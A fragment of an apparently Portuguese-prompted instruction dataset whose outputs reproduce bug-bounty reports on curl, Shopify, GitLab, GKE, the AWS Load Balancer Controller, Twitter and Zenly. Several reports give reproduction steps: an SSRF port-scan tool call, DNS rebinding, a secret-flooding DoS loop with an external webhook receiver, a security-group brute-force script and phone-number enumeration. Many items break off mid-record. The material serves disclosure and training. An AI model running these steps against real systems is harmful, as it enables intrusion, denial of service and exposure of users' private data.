Ex; A default Fastly (the CDN we use) or Varnish config will result in a cached 404 page with the above setup.\n\nWhen versioned routes are in use I also think that a `Vary` http header with `Accept-Version` as a value should be added to the response. That shall prevent a http cache / CDN from caching a 404 under the same cache key as a previous response.\n\nThough; to avoid this behavior when not using version routes I think it should be possible to turn off version routes. Is there an easy way to do so? Type a boolean on the constructor? Or do one need to write a custom version parser which according to doc affect performance?\n\nIts highly debatable if this is a security issue in Fastify, though, behavior of this might be worth having a second look at. Personally I was a bit surprised that versioned routes was a default behavior. I would expect it to be an opt in instead of opt out (if its possible to opt out).\n\n### Impacto\nAn attacker can use this cache poisoning to perform an attack where fully functionally URLs are replaced with 404's."

"input": "",
"output": "### Resumo da Vulnerabilidade\nThe issue here arises from the fact that curl by default has the option CURLOPT_FTP_SKIP_PASV_IP disabled by default.\nAs a result, an attacker controlling the URL used by curl, can perform port scanning on behalf of the server where curl is running.\nThis can be achieved by setting up a custom FTP server that would setup the data channel through the PASV command using the port scanning target IP and port in the PASV connection info. \nOne good target for this issue are web applications vulnerable to SSRF.\n\n### Passos para Reproduzir\nSo we can differentiate between open, closed and filtered ports with the following:\n1. Open ports\ncurl will reply with TYPE after the PASV command\nexample:\nReceived: USER anonymous in 5\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 6ms\n**Received: TYPE I in 6ms**\nReceived: SIZE whatever in 5ms\nReceived: RETR whatever in 5ms\n\n2. Filtered\ncurl will timeout after the PASV command\nexample:\nReceived: USER anonymous in 6\nReceived: PASS ftp@example.com in 5\nReceived: PWD in 5ms\nReceived: EPSV in 6ms\nReceived: PASV in 5ms\nReceived: in **1011ms**\n\n3. Closed\ncurl will close the control channel connection immediately after PASV\nexample:\nReceived: USER anonymous in 6ms\nReceived: PASS ftp@example.com in 6ms\nReceived: PWD in 5ms\nReceived: EPSV in 5ms\nReceived: PASV in 5ms\nReceived: in **5ms**\n\nIn the attachments, I have included an ftp server (F1088885) that automates these steps.\nUsage:\n./ssrf_pasvaggresvftp.sh -t 127.0.0.1/31 -p 80,8000-8100 -x ./ftp_curl.sh -vv\n\nthe file included in the -x option is supposed to trigger the ssrf on the target server that would lead to the call of curl with the attacker's URL. In this case we simulate the issue by calling curl locally. The attachment F1088859 is the script used in the example.\n\n### Impacto\nThrough the port scanning, an attacker could uncover services running in the internal network.\nIt could also be possible to perform version enumeration or other information disclosure if the attacker can get back the results of curl.\nFor example, an attacker points curl at host:22 for the data channel . If an ssh server is running on that host, then it will reply with its version which is then disclosed to the attacker.\n\nUltimately, this issue can be used as a stepping stone to launch further attacks on the vulnerable server."

The IP in the client is hard-coded to `127.0.0.1` and the port is `50000`. The scripts are kept as simple as possible. \n\n1. Create a file `client.sh` with the content provided in the Supporting Material section below (don't start it now)\n2. Create the Javascript file (see Supporting Material section below) and run the example server (may you want to customize the port).

Victim visits attacker's webpage\n 3. The attacker's webpage opens http://localhost6:9229\n 4. Victim finds no “localhost6” entry in hosts file, so it asks the DNS server and gets <attacker's-IP>.

(If the IP address of “localhost6” is still cached, attacker needs to retry. There are techniques that can speed it up, like using RST packet.)\n 7. Due to a short TTL, the DNS server will be soon asked again about an entry for “localhost6”. This time, the DNS server responds “127.0.0.1”.\n 8.

Next time the `dAtA[iNdEx]` occurs it will cause an index out of bounds and the program will panic.\n\nSince the bug is so wide spread I have not fully analysed the different impacts but since this appears in many APIs it would likely lead to crashing nodes.\n\nPatch:\n\nThe code should have the checks to match the following as seen in the same file `staging/src/k8s.io/api/certificates/v1beta1/generated.pb.go`\n```\n1736:\t\t\tskippy, err := skipGenerated(dAtA[iNdEx:])\n1740:\t\t\tif skippy < 0 {\n1743:\t\t\tif (iNdEx + skippy) < 0 {\n1746:\t\t\tif (iNdEx + skippy) > l {\n1749:\t\t\tiNdEx += skippy\n```\n\nSpecifically the check `if (iNdEx + skippy) < 0`\n\nNote: I have contracted the maintainers of gogo/protobuf and they have a patch and will make a release soon.

"input": "",
"output": "### Resumo da Vulnerabilidade\nDue to a missing domain format check in Shopify's wholesale functionality, it is possible to serve arbitrary content on the customer's domain through existing DNS records already configured to work with Shopify. I only tested with domains that I own but as far as I understand, this would work with just any domain or subdomain that it set up to work with Shopify wholesale.\n\nThis exposes Shopify wholesale customers to several risk, similar to classic subdomain takeovers:\n- Loss of domain integrity: attackers could host malicious content on the customer's domain\n- Phishing attacks: attackers could use login/sign up page to capture PII and \n- Scams: scammers could recreate trusted wholesale shops, host them under the official domain and collect money\n\n### Passos para Reproduzir\n- For the sake of this proof of concept, we'll take over my test wholesale shop at https://shop.inti.io/accounts/sign_in, which has it's CNAME set to `wholesale-shops.shopifyapps.com` (as requested by [the documentation](https://help.shopify.com/en/manual/online-sales-channels/wholesale/channel/wholesale-settings/domains)):\n\n{F1170259}\n\nIn real-life attacks, attackers could perform reverse CNAME lookups through e.g. Alien Vault's OTX.\n\n- Now log in as attacker and try to add `shop.inti.io` as a domain name in your preferences. **This will not work, because there's already a store attached to it**:\n\n{F1170265}\n\n- Attacker now sits down, takes a nip of coffee and reads [RFC 1034](https://www.ietf.org/rfc/rfc1034.txt). Attacker notices the following:\n\n```\nSince a complete domain name ends with the root label, this leads to a\nprinted form which ends in a dot. We use this property to distinguish between:\n\n - a character string which represents a complete domain name\n (often called \"absolute\"). For example, \"poneria.ISI.EDU.\"\n\n - a character string that represents the starting labels of a\n domain name which is incomplete, and should be completed by\n local software using knowledge of the local domain (often\n called \"relative\"). For example, \"poneria\" used in the\n ISI.EDU domain.\n```\n\nIn theory, _all_ domain names should have a trailing dot at the end, but since literally no one does that both a domain name with and without a trailing dot will essentially result in the same records being served. Since Shopify does not implement DNS-based verification and only checks whether the record is already present, we can enter the trailing dot version of the domain name to bypass this check:\n\n{F1170267}\n{F1170268}\n\n- Now attacker waits for a few minutes to allow the DNS / SSL changes to propagate. Depending on your browser's cache, it can take a while, but normally after a few minutes the malicious shop should pop up at `https://shop.inti.io./accounts/sign_in`.\n\n### Impacto\nThis exposes Shopify wholesale customers to several risk, similar to classic subdomain takeovers:\n- Loss of domain integrity: attackers could host malicious content on the customer's domain\n- Phishing attacks: attackers could use login/sign up page to capture PII and \n- Scams: scammers could recreate trusted wholesale shops, host them under the official domain and collect money"

An attacker exploiting these vulnerabilities can identify a user of the GitLab website while the user visits an attacker-controlled website, using the cookie(s) set by the GitLab website in her browser.\n\nThe leaky image attack [1] leverages the existence of a state-dependent URL (SD-URL) on the image-sharing website, i.e. a URL for which the response is different depending on the victim’s state with respect to the image-sharing website. For example, if the user is the targeted victim, the content will be loaded, otherwise, it will not be loaded. The attacker can learn information about this response based on an XS-leak that bypasses the Same-Origin Policy which normally prevents the attacker from reading the contents of a cross-origin response. [1] describes script-based and scriptless variants of the leaky image attack. The scriptless variant relies on the object HTML tag for the XS-leak, using this tag’s if-then-else behavior to enable the attack.\n\nWe reveal a new SD-URL for resources in the GitLab service and introduce two new HTML-only XS-Leaks. We show that a leaky resource attack can be performed using video and audio HTML tags. The previously known scriptless attack was based on the object HTML tag, but we find that it is not reliable: It does not work against all vulnerable resource-sharing services and only works in some browsers. As opposed to this, we show that attacks based on the video and audio tags are very reliable, as they work against all the vulnerable services we identified and across all browsers we tested with (Firefox, Edge, Chrome).\n\nWe describe below the threat model, the exploit vector, and the actual steps that need to be followed on your website to set up a leaky resource attack. We also explain potential fixes.\n\n### Passos para Reproduzir\nThe attacker first shares privately a resource with the target victim using a sharing service. The attacker then embeds a link to the privately shared resource on a webpage she controls. When a visitor loads that webpage, the resource will be successfully retrieved only if the visitor is the targeted victim, since only the victim is allowed to retrieve the resource (assuming the victim's browser is logged into the sharing service). By observing the success of loading the resource through an XS-leak, the attacker will know if the intended victim has visited the attacker's website.\n\n1) Upload and share privately the resource with the victim in GitLab.\n2) Open the resource in the browser to get the SD-URL.\n3) Embed the SD-URL in an attacker-controlled webpage with an XS-leak.\n\n### Impacto\nThe leaky resource attack is a targeted privacy attack, in which an individual browsing an attacker-controlled webpage can be uniquely identified. This is in contrast with other known de-anonymization techniques, such as third-party tracking (e.g., tracking pixels or tracking IPs) or social media fingerprinting, that do not provide this level of accuracy. As such, leaky resources can be abused in a variety of privacy-sensitive scenarios, including law enforcement gathering evidence regarding the online activity of individuals, oppressive governments tracking political dissidents, de-anonymizing reviewers for a conference paper, blackmailing individuals based on their online activity, or health insurance companies discriminating individuals based on their online activity."

Those control how much the client is charged. They should follow the formula `amount = amount_in - amount_rounding - amount_out`. `amount` should always remain the price of the cart.\n `amount_in` is how much is charged from the client. `amount_out` is how much is taken from the shop.

"input": "",
"output": "### Resumo da Vulnerabilidade\nI was trying to explore a way to stealthily send lots of data outside a private GKE cluster by way of misusing the Validating Webhook mechanism. The idea would be that a cluster-admin could install a webhook and then initiate resources (like a secret or configmap) that contains the data to exfil in \"chunks\" and then throw them all at the API server and get the control plane to send the data out, 1MB at a time, to the desired malicious webhook endpoint that would always respond \"yes\" but log those chunks. It would bypass DNS logs, VPC flow logs, and firewall logs. However, as I started sending these 1MB secrets, I found that the API server would just go away...so, here I am with a potential accidental crash/DoS that I'm pretty confident is legit. The cleaned up description is:\n\nSending large resources (~1MB) from a varying number of clients (5 to 100) to an API server configured with an external to the cluster Validating Webhook in a \"loop\" eventually appears to exhaust some resource level on the API server and cause it to no longer be available. After it recovers, it appears to be possible to retrigger the failure condition by repeating the attack.\n\n### Passos para Reproduzir\nThis _may_ be GKE specific, but something tells me it's not.\n\n 1. Create a private GKE cluster (not sure if private is required for this, actually)\n\n```\ngcloud beta container --project \"gkek8s-178117\" clusters create \"sieve-clone-1\" --zone \"us-central1-c\" --no-enable-basic-auth --cluster-version \"1.17.14-gke.1600\" --release-channel \"regular\" --machine-type \"e2-medium\" --image-type \"COS_CONTAINERD\" --disk-type \"pd-standard\" --disk-size \"60\" --metadata disable-legacy-endpoints=true --scopes \"https://www.googleapis.com/auth/devstorage.read_only\",\"https://www.googleapis.com/auth/logging.write\",\"https://www.googleapis.com/auth/monitoring\",\"https://www.googleapis.com/auth/servicecontrol\",\"https://www.googleapis.com/auth/service.management.readonly\",\"https://www.googleapis.com/auth/trace.append\" --max-pods-per-node \"64\" --preemptible --num-nodes \"1\" --no-enable-stackdriver-kubernetes --enable-private-nodes --enable-private-endpoint --enable-ip-alias --network \"projects/gkek8s-178117/global/networks/external\" --subnetwork \"projects/gkek8s-178117/regions/us-central1/subnetworks/external\" --default-max-pods-per-node \"64\" --enable-network-policy --enable-master-authorized-networks --addons HorizontalPodAutoscaling,NodeLocalDNS --enable-autoupgrade --enable-autorepair --max-surge-upgrade 1 --max-unavailable-upgrade 0 --workload-pool \"gkek8s-178117.svc.id.goog\" --enable-shielded-nodes --security-group \"gke-security-groups@lonimbus.com\"\n```\n\n 1. Create a TLS endpoint to \"catch\" the webhooks on a dedicated VM on a public IP with a valid TLS cert and listening on 443. Here's my nginx.conf for my host named `https://docker.lonimbus.com` that always blindly allows the resource:\n\n ```\nlog_format addHeaderlog escape=json '$remote_addr - $remote_user [$time_local] '\n '\"$request\" $status $body_bytes_sent '\n '\"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\" \"$request_body\" \"$http_Authorization\" \"$http_x_duid\" \"$http_x_ver\" \"$upstream_http_x_rqid\"';\n\nserver {\n access_log /var/log/nginx/access.log addHeaderlog;\n client_body_in_single_buffer on;\n client_max_body_size 5M;\n client_body_buffer_size 16k;\n\n listen 80;\n listen 443 ssl;\n\n ssl_certificate /etc/ssl/certs/docker.lonimbus.com.crt;\n ssl_certificate_key /etc/ssl/private/docker.lonimbus.com.key;\n ssl_protocols TLSv1.2;\n ssl_prefer_server_ciphers on;\n #ssl_dhparam /etc/nginx/dhparam.pem;\n ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384;\n ssl_ecdh_curve secp384r1; # Requires nginx >= 1.1.0\n ssl_session_timeout 10m;\n ssl_session_cache shared:SSL:10m;\n ssl_session_tickets off; # Requires nginx >= 1.5.9\n ssl_stapling on; # Requires nginx >= 1.3.7\n ssl_stapling_verify on; # Requires nginx => 1.3.7\n resolver 8.8.8.8 8.8.4.4 valid=300s;\n resolver_timeout 5s;\n add_header X-Frame-Options DENY;\n add_header X-Content-Type-Options nosniff;\n add_header X-XSS-Protection \"1; mode=block\";\n\n server_name docker.lonimbus.com;\n\n root /var/www/html;\n index index.html;\n\n location / {\n return 200 'ok';\n }\n location /validator {\n proxy_pass http://127.0.0.1/ok;\n }\n location /ok {\n types {}\n default_type application/json;\n return 200 '{\"response\": {\"allowed\": true, \"status\": {\"message\": \"permission granted\"}}}';\n }\n}\n ```\n 1. Install a validating webhook configuration that sends resources off to that url. I chose \"create secrets\". Note that I have failurePolicy: ignore and timeoutSeconds: 1 to \"fail open\" if the destination isn't there (in theory).\n\n```\napiVersion: admissionregistration.k8s.io/v1\nkind: ValidatingWebhookConfiguration\nmetadata:\n name: validator\nwebhooks:\n - name: docker.lonimbus.com\n failurePolicy: Ignore\n timeoutSeconds: 1\n admissionReviewVersions: [\"v1\", \"v1beta1\"]\n sideEffects: None\n clientConfig:\n caBundle: LS0tLS1CRUdJTiBDRVJU...snip...0tLQo=\n url: https://docker.lonimbus.com/validator\n rules:\n - operations: [\"CREATE\",\"UPDATE\"]\n apiGroups: [\"*\"]\n apiVersions: [\"*\"]\n resources: [\"secrets\"]\n\n```\n\n 1. Create a 1MB file of gibberish text. I used a lorem ipsum generator:\n\n```\n$ ls -alh\n-rw-r--r-- 1 bg staff 990K Feb 5 15:18 lorem-1MB\n-rw-r--r-- 1 bg staff 2.1K Feb 5 15:28 nginx.conf\n-rw-r--r-- 1 bg staff 8.6K Feb 5 15:04 validator.yaml\n\n$ head lorem-1MB \nLorem ipsum dolor sit amet, consectetur adipiscing elit.

Proin sollicitudin enim a rutrum pulvinar. Sed nibh justo, vehicula eu metus non, ultrices condimentum eros.\n```\n\n 1. By way of a bastion GCE VM in that same VPC as the GKE private cluster, run N number of concurrent \"create 1MB secret\" calls:\n\n```\n # terminal 1\nfor i in $(seq 1 100); do k create secret generic test-b$i --from-file=lorem-1MB & done\n```\n\n 1. Wait a few minutes letting these go on until they start getting errors at the same time (see `2_4_clients_all_failing_at_the_same_time.jpg`). Stop the loops, and confirm the API server isn't responding with a curl to the `/version` endpoint hanging. Then, refer to the audit logs to see the errors and eventually the repair operation. A few minutes later, the API server should return to healthy, ready for another round.\n\n### Impacto\nAn authenticated user or service account with permissions to create/patch/delete a resource gated by a ValidatingWebhookConfiguration could potentially trigger a DoS of the API server. In my testing, it appears that the control plane instance \"crashes\" and the health checking mechanisms in GKE watching the control plane instances kick in and \"repair\" the control plane. Based on the delay, it would appear that it's reprovisioning the control plane GCE VM."

This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host. And It's possible to send requests with arbitrary Host Headers to the first virtual host.\n\n### Passos para Reproduzir\nIf possible, the application should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:\n\n 1. Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.\n 2.Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.\n\n### Impacto\nTampering of Host header can lead to the following attacks:\n1) Web Cache Poisoning-Manipulating caching systems into storing a page generated with a malicious Host and serving it to others.\n\n2) Password Reset Poisoning-Exploiting password reset emails and tricking them to deliver poisoned content directly to the target.\n\n3) Cross Site Scripting - XSS can be performed, if the value of Host header is used for writing links without HTML-encoding. For example Joomla used to write Host header to every page without HTML Encoding like this: <link href=”http://_SERVER['HOST']”> which led to cross site scripting.\n\n4) Access to internal hosts-To access internal hosts.\n\n5.)

"input": "",
"output": "### Resumo da Vulnerabilidade\n(I don't think that this can be easily exploitable, but I am submitting it as a security issue for precaution. I am not looking for a bounty.)\n\nCommit [549310e907e82e44c59548351d4c6ac4aaada114](https://github.com/curl/curl/commit/549310e907e82e44c59548351d4c6ac4aaada114) enables session resumption with TLS 1.3. Curl connections maintain two SSL contexts, one for the proxy and one for the destination. However, curl incorrectly stores session tickets issued by an TLS 1.3 HTTPS proxy under the non proxy context.\n\nThe issue is that the logic inside `Curl_ssl_addsessionid` that chooses which context to store the tickets under is incorrect under TLS 1.3. \n\n```\nconst bool isProxy = CONNECT_PROXY_SSL();\nstruct ssl_primary_config * const ssl_config = isProxy ?\n &conn->proxy_ssl_config :\n &conn->ssl_config;\nconst char *hostname = isProxy ? conn->http_proxy.host.name :\n conn->host.name;\n```\n\n```\n#define CONNECT_PROXY_SSL()\\\n (conn->http_proxy.proxytype == CURLPROXY_HTTPS &&\\\n !conn->bits.proxy_ssl_connected[sockindex])\n```\n\nOne of the major differences between how TLS session tickets are issued between TLS 1.3 and prior versions of TLS is that TLS 1.3 issues session tickets in a *post* handshake message. What this means in practice is that TLS 1.3 tickets are delivered in the first call to `SSL_read()`, rather than being issued as part of `SSL_connect()`. Consequently, `CONNECT_PROXY_SSL()` will see that the proxy has already been connected (since the call to `SSL_connect()` to the proxy was completed), so the call to `Curl_ssl_addsessionid` believes the `isProxy` is `false`, and it stores the ticket under the non proxy context.\n\nAfter the `CONNECT` call returns successfully, a connection to the original destination will be made through the established TCP tunnel. If the original destination uses https, another TLS handshake will be made. During this TLS handshake, the curl client offers the session ticket of the *proxy* to the destination.\n\nIf the proxy is malicious, at this point it could decide to terminate the TLS handshake to the upstream. Since the proxy has the corresponding session ticket key (it was the entity that issued the ticket, after all), it can complete the client -> destination TLS handshake through a resumption. Normally, this would result in a full man in the middle, as TLS certificates are not exchanged as part of a resumed connection. However, curl already performs some of its own certificate validation outside of OpenSSL in `ossl_connect_step3`, which largely mitigates this vulnerability.\n\nThe certificate validation that curl performs includes steps such as (1) checking if the certificate was self signed and (2) ensuring that the certificate contains a subject that matches the destination. The certificate of the proxy is stored in the `SSL_SESSION` that was used for resumption, so curl will attempt to perform these validations against the proxy certificate.\n\n### Passos para Reproduzir\nI've attached a reproducer in this report.\n* `server_that_fails_on_ticket.c` is a simple TLS server (listening on port 12345) that will send an alert if it receives a session resumption attempt. Under normal circumstances, curl should never be sending a ticket when connecting through a proxy, since it has never connected to this destination before. With this bug, you should be able to observe that the server receives a ticket on the first connection regardless.\n* `https_proxy.c` is a extremely rudimentary implementation of a HTTPS proxy (listening on port 12346), that only uses TLS 1.3. If a special proxy header `Mitm: 1` is passed, then the proxy will attempt to terminate the TLS connection itself, acting as a man in the middle.\n* `proxy_ca.pem` is the CA file that signs the proxy cert, `haxx.se.pem`\n* `haxx.se.pem` is the TLS certificate that the proxy uses. Notice that it has the identities: `localhost` and`haxx.se`.\n\n### Impacto\nIn a very specific environment (perhaps a corporate environment where all access to the internet requires going through an HTTPS proxy), an attacker that can issue a trusted proxy certificate may be able to man in the middle connections established with libcurl, even if curl explicitly does not include the proxy CA in the trust store for normal destinations."

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: CVE-2021-22898: TELNET stack contents disclosure",
"input": "",
"output": "### Resumo da Vulnerabilidade\nlib/telnet.c `suboption` function incorrecly checks for the `sscanf` return value. Instead of checking that 2 elements are parsed, the code also continues if just one element matches:\n`if(sscanf(v->data, \"%127[^,],%127s\", varname, varval)) {`\nAs such it is possible to construct environment values that don't update the `varval` buffer and instead use the previous value. In combination of advancing in the `temp` buffer by `strlen(v->data) + 1`, this means that there will be uninitialized gaps in the generated output `temp` buffer. These gaps will contain whatever stack contents from previous operation of the application.\n\nFortunately the environment is controlled by the client and not the server. As such this vulnerability can't be exploited by the server. Practical exploitation is limited by the following requirements:\n\n- attacker is able to control the environment passed to libcurl via `CURLOPT_TELNETOPTIONS` (\"`NEW_ENV=xxx,yyy`\") and control `xxx` and `yyy` in the curl_slist entries)\n- attacker is able to either inspect the network traffic of the telnet connection or to select the server/port the connection is established to\n\nWhen both are true the attacker is able to some content of the stack. Note however that for this leak to be meaningful, some confidential or sensitive information would need to be leaked. This could happen if some key or other sensitive material (that is otherwise out of the reach of the attacker, due to for example setuid + dropping of privileges, or for example only being able to execute the command remotely in a limited fashion, for example php curl, or similar) would thus become visible fully, or partially. The leak is limited to maximum about half of the 2048 byte `temp` buffer.\n\n### Passos para Reproduzir\n1. Run telnet service\n 2. tcpdump -i lo -X -s 65535 port 23\n 2. Execute\n```\ncurl

"input": "",
"output": "### Resumo da Vulnerabilidade\n`Curl_ssl_config_matches` attempts to compare whether two SSL connections have identical SSL security options or not. The idea is to avoid reusing a connection that uses less secure, or completely different security options such as capath, cainfo or certificate/issuer pinning.\n\nUnfortunately this function has several flaws in it:\n1. It completely fails to take into account \"BLOB\" type certificate values, such as set by `CURLOPT_CAINFO_BLOB` and `CURLOPT_ISSUERCERT_BLOB`. If the application can be made to initiate connection to a user specified location (where these BLOB options are not used) before the \"more secure\" connection using these options is made, the attacker can point the application to connect to the same address and port, effectively poisoning the connection cache with a connection that has been established with different cainfo or issuecert settings. This leads to attacker being able to neutralize these options and make libcurl ignore them for the connections for which they're set. I have no obvious CWE number for this one, but CWE-664 `Improper Control of a Resource Through its Lifetime` might fit.\n2. `CURLOPT_ISSUERCERT` value is not matched. Similar to above.\n3. Similarly, the function has an implementation flaw where path names use case-insensitive comparison for capath, cainfo and pinned public key paths. This can lead to a situation where if the attacker can specify the capath, cainfo or pinned public key name that have a different path capitalization. Again, if the attacker can specify some of these values for the connection that is performed before the later supposedly secure connection is made, the attacker is able to make the further connection use incorrect capath, cainfo or pinned public key. This is CWE-41 `Improper Resolution of Path Equivalence`.\n4. Finally, the pinned public key fingerprint set by `CURLOPT_PINNEDPUBLICKEY` `sha256//` is incorrectly compared as case-insenstive value. If the attacker is able to create a otherwise valid certificate that has a fingerprint that has the same fingerprint string but with different capitalization (very difficult to pull off in practice), and the application could be tricked to use this value for `CURLOPT_PINNEDPUBLICKEY` and create a connection, later connection could be confused to think that the pinned public key is the same one.\n\nExploiting any of these issues requires a situation where the attacker can coax the application to create a TLS connection to the same host and port that will be performed by the application itself later on (for example some backend connection or other high security connection the attacker wishes to man in the middle). In these situations the existing connection with less security guarantees may be reused, allowing man in the middle attacks against the later supposedly secure connection, resulting in loss of confidentiality and integrity. Since this requires an active attack it can't be thought to have direct availability impact. In most cases where this would result in exploitation would be scenarios where there would be a privilege barrier between the user providing the connection target addresses (lower priority) and the libcurl using application performing the actual connections (higher priority). It can also be exploitable in a scenario where the attacker will try to man in the middle connections performed by other users of the same service (lateral attack towards users at the same privilege level).\n\nExploiting the first two issues is plausible in a situation where the attacker can obtain a valid certificate for the host, but from issuer that doesn't match what the application pinning will check for. If the app uses the blob variants to set up pinning and the attacker is able to obtain a certificate for the specific host from for example Let's Encrypt, the \"pin stripping\" attack would be plausible.\n\nExploiting the 3rd issue is be possible in a situation where the attacker can write to a location that has the same path but with a different capitalization. One example of such situation would be an application that uses a `/tmp`, `/dev/shm` or similar sticky world writable location to store the capath/cainfo/pinned public key file. The attacker would then be able to use the same location but with different file name capitalization to fool the application to reuse the existing connection for later connections that actually would use a different capath, cainfo or pinned public key. This attack requires that the attacker can provide the options for capath, cainfo or the public cert pinning somehow (the application would need to enable this as part of its normal functionality).\n\n### Passos para Reproduzir\nThis proof of concept demonstrates the 3rd issue with the curl tool:\n 1. `cp /etc/ssl/certs/ca-certificates.crt ca.crt`\n 2. `touch CA.crt`\n 3. `curl --capath /dev/null --cacert $PWD/ca.crt https://curl.se --next --capath /dev/null --cacert $PWD/CA.crt https://curl.se`\n\nIf `Curl_ssl_config_matches` comparison is implemented correctly the 2nd connection should fail.\n\n### Impacto\nTLS man in the middle"

Please try again later\" on the other side any other request that is not associated with victim's correct mobile number will display the following message: \"You'll recive a code to verify here so you can reset your accont password.\" or a number not associated with a twitter account.\n\n\n===>we can deduce the number of victim's digit according to the user's country or we can easily deduce it, the victim's country is \"██████\" so the format of its number is as follows: &&&&&&15, To accelerate the brute force and decipher the correct digits more quickly associated with this number &&&&&&15 we will use the following information:\nthe mobile number for the ████ region begins with the following operator phone code: (26-27) (56-57)\n, so we are now going to brute force on this number range:\n26&&&&15 ... 27 &&&&15\n56&&&&15 ... 57&&&&15\n\nwe have 10 ^ 4 = 10000 mobile number to test each time to identify the correct victim mobile number, we eliminate the numbers that are not associated with a twitter account then determine which number blocked by twitter from receiving sms that returns the message next: \"You've exceeded the number of attempts.

This is possible even though the attacker doesn't have permission to modify the ALB or the managed SG and also doesn't have access to the K8s cluster where the Ingress was created.\n\nAWS Load Balancer Controller uses tree tags to associate a SG on AWS to the supposed managed SG created for an ALB: `elbv2.k8s.aws/cluster`, `ingress.k8s.aws/stack`, and `ingress.k8s.aws/resource`. When there are multiple SGs that match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the other ones. The API call returns SGs sorted by their respective ids.\n\nIf a SG is created with the tags expected by AWS Load Balancer Controller and its id is less than the one from the legit SG, the controller deletes the original SG and attaches the one created by the attacker to the ALB.

An attacker crafts an evil-twin of the managed SG attached to the target ALB. The attacker either knows the cluster name, namespace, and name of the Ingress related to the target ALB, or it needs to be able to describe the load balancer and its security group to acquire this information. If the id of the managed SG is unknown, the attacker may assume that its value is as low as `sg-00800000000000000` and create a SG that has an id even lower, covering more than 96% of the possible security groups with a couple of minutes of brute-forcing.\n```bash\nVPC_ID=vpc-00123456789abcdef\nCLUSTER_NAME=kind\nNAMESPACED_NAME=echoserver/echoserver\n\nMANAGED_SG_ID=sg-00123456789abcdef\nMANAGED_SG_10=$(echo ${MANAGED_SG_ID} | awk '{ print \"ibase=16;\" toupper(substr($0,4)) }' | bc)\n\nwhile true\ndo\n\tUNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)\n\tUNMANAGED_SG_10=$(echo ${UNMANAGED_SG_ID} | awk '{ print \"ibase=16;\" toupper(substr($0,4)) }' | bc)\n\n\tif [ ${UNMANAGED_SG_10} -lt ${MANAGED_SG_10} ]\n\tthen\n\t\tbreak\n\tfi\n\n\taws ec2 delete-security-group --group-id ${UNMANAGED_SG_ID}\ndone\n\naws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags \"Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}\" \"Key=ingress.k8s.aws/stack,Value=${NAMESPACED_NAME}\" \"Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup\"\n```\n\n3. With the environment set, the attacker now should wait or somehow cause AWS Load Balancer Controller to reconcile the target load balancer. The reconciliation is normally triggered when the Ingress resource is modified or when the Pod of the controller restarts or is recreated, like when the Node where the controller was running is drained on a downscale procedure. Without another exploit or with a higher privilege on the account, user interaction is required.\n\n4. After reconciliation, the load balancer has the malicious security group attached instead of the managed one that was created by the controller. The attacker modifies the SG rules and either gains access to the service or causes a denial of service.\n\n### Impacto\nThe attacker has access to all ports of the targeted ALB and can possibly gain access to sensitive data from the service behind the load balancer or make calls that would cause some problem. It is also capable of blocking access of legitimate clients to the service, causing a denial of service."

Once this environment is set up, we are able to gain visibility over network activity.\n{F1355295}\nThe vulnerability makes use of the **“Add by Username”** flow, which starts by searching a known username.\n{F1355316}\nThe interceptor that was previously set up can be used to view the requests that occurred during this search. Note that the “Add as Friend” button was never pressed, meaning a friend request was never sent.\n███████\nBy observing the response of the request that was executed on the `/UserPublicFriends` endpoint, a list of friends can be seen, although it is not displayed on the UI of the application. This list contains every friend of the user, one of them is **Bogus_CEO** (bogus CEO of Zenly, for demonstration purposes). Note that the response also contains their username, which could in turn be used to repeat this process and obtain their friends' list instead.\nOnce we obtain the username of the target user, we can obtain their phone number through a flow that is almost identical. On the **“Add by Username”** view, we search for their username and complete the flow by tapping the **ADD AS FRIEND** button.\n{F1355328}\nThis friend invitation will trigger a request to the `/FriendRequestCreate` endpoint, whose response contains specific information regarding both our user (items 3, 5, and 6 in the image below) and the target user (items 4, 7, and 8 in the image below).\n████████\nNote that the response contains both our phone number and the phone number of the target user, even though our friend request **was never accepted by the target user**.\n\n### Impacto\nExposure of user data can be used by attackers for malicious purposes. Obtaining this data can put at risk not only the users of the application but also Zenly’s brand image.\nConsider a scenario where a malicious actor wants to attack a company by targeting its CEO. An attacker can make use of this vulnerability and employ the following attack vector:\n1. Search the web for an employee of the company and try to obtain their social media handle e.g., Twitter. (Best targets are employees who work in communications or marketing fields since they are typically more exposed and represent easier targets)\n2. Validate their handle is valid on Zenly.\n3. Access their list of friends through Zenly, obtain the handle of the CEO.\n4. Retrieve the phone number of the CEO through their username. <- This is already a privacy violation, but the scenario can go on...\n5. Carry out a spear-phishing attack, using the phone number of the CEO.\nAn attacker can also repeat these steps to obtain the phone number of other employees and thus prepare a more credible attack.\nNote that, according to the documentation provided by Zenly, present at [this link][1], it should not be possible to retrieve the phone number of a user unless we are already friends with them.\nThe following screenshot was obtained from this documentation:\n{F1355287}\n\n[1]: https://community.zen.ly/hc/en-us/articles/360001404288-View-or-call-my-Zenly-friend-s-phone-number"

"instruction": "Explique a vulnerabilidade e como reproduzi-la baseando-se no relatório: Account Takeover via SMS Authentication Flow",
"input": "",
